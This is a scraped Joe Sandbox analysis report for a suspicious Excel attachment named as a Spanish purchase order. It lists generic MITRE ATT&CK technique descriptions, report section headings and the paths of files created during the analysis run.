Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ( Security Software Discovery ) to evade.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report NUEVA ORDEN DE COMPRA 73244.xla.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-7FeatureCache.txt (copy)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\37744DC8.emf

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\3F3752BC.emf

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\55221B8D.emf

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\8A4F83B1.emf

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\90CB35FE.emf

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\97A2F1E7.emf

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\9A7A942A.emf

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\9E74D670.emf

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\C06DA329.emf

C:\Users\user\AppData\Local\Temp\A219D2E6.tmp

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-10-29 15-38-16-661.log

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

C:\Users\user\AppData\Local\Temp\~DF6E0CF93AFE98D265.TMP

C:\Users\user\AppData\Local\Temp\~DFD4C805AC66230DA2.TMP

C:\Users\user\AppData\Local\Temp\~DFDE4B543ED02937AC.TMP

C:\Users\user\Desktop\B0D30000

C:\Users\user\Desktop\B0D30000:Zone.Identifier

C:\Users\user\Desktop\NUEVA ORDEN DE COMPRA 73244.xla.xls (copy)

C:\Users\user\Desktop\~$NUEVA ORDEN DE COMPRA 73244.xla.xlsx

Static File Info

General

Windows Analysis Report
NUEVA ORDEN DE COMPRA 73244.xla.xlsx